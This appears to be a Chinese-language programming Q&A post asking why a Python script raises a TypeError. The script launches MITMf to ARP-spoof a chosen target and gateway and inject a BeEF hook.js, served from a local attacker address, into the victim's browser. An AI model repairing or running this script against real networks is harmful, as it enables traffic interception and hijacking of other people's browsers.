【发布时间】:2016-03-04 19:39:43
【问题描述】:
我的代码是:
#! /usr/bin/env python
ip_addr = raw_input("Enter your target IP: ")
gateway = raw_input("Enter your gateway IP: ")
from subprocess import call
import subprocess
import os
os.chdir("/usr/share/mitmf/")
subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
我的输出是:
Traceback (most recent call last):
File "./ARP_Beef.py", line 11, in <module>
subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'
我不知道出了什么问题。谁能帮帮我
【问题讨论】:
标签: python shell subprocess